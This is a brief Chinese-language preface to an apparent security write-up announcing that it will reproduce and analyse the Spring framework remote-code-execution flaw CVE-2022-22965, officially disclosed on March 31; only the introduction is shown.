    前言 上周网上爆出Spring框架存在RCE漏洞 野外流传了一小段时间后 Spring官方在3月31日正式发布了漏洞信息 漏洞编号为CVE 2022 22965 本文章对该漏洞进行了复现和分析 希望能够帮助到有相关有需要的人员进一步研究 1